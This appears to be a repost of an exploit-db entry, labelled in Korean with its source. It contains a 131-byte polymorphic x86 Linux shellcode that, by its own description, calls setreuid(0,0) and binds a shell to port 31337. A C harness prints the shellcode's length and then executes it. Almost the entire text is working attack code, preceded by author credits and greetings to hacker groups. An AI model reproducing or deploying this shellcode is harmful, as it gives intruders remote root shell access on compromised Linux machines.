Bind Shellcode (port : 31337 )

출처 :  http://www.exploit-db.com/exploits/13910/  /*

Title  : Polymorphic shellcode that bindport to 31337 with setreuid (0,0) x86 linux shellcode.

Name   : 131 bytes bind port 31337 x86 linux polymorphic shellcode.

Date   : Sat Jun  17 21:27:03 2010

Author : gunslinger_ <yudha.gunslinger[at]gmail.com>

Web    : http://devilzc0de.org

blog   : http://gunslingerc0de.wordpress.com

tested on : linux debian

special thanks to : r0073r (inj3ct0r.com), d3hydr8 (darkc0de.com), ty miller (projectshellcode.com), jonathan salwan(shell-storm.org), mywisdom (devilzc0de.org), loneferret (offensive-security.com)

greetzz to all devilzc0de, jasakom, yogyacarderlink, serverisdown, indonesianhacker and all my friend !!

*/

#include <stdio.h>

char bindport[] = "\xeb\x11\x5e\x31\xc9\xb1\x6b\x80\x6c\x0e\xff\x35\x80\xe9\x01"

"\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\xe5\x7b\xbd\x0e\x02\xb5"

"\x66\xf5\x66\x10\x66\x07\x85\x9f\x36\x9f\x37\xbe\x16\x33\xf8"

"\xe5\x9b\x02\xb5\xbe\xfb\x87\x9d\xf0\x37\xaf\x9e\xbe\x16\x9f"

"\x45\x86\x8b\xbe\x16\x33\xf8\xe5\x9b\x02\xb5\x87\x8b\xbe\x16"

"\xe8\x39\xe5\x9b\x02\xb5\x87\x87\x8b\xbe\x16\x33\xf8\xe5\x9b"

"\x02\xb5\xbe\xf8\x66\xfe\xe5\x74\x02\xb5\x76\xe5\x74\x02\xb5"

"\x76\xe5\x74\x02\xb5\x87\x9d\x64\x64\xa8\x9d\x9d\x64\x97\x9e"

"\xa3\xbe\x18\x87\x88\xbe\x16\xe5\x40\x02\xb5";

int main(void)

{

fprintf(stdout,"Length: %d\n",strlen(bindport));

(*(void(*)()) bindport)();

}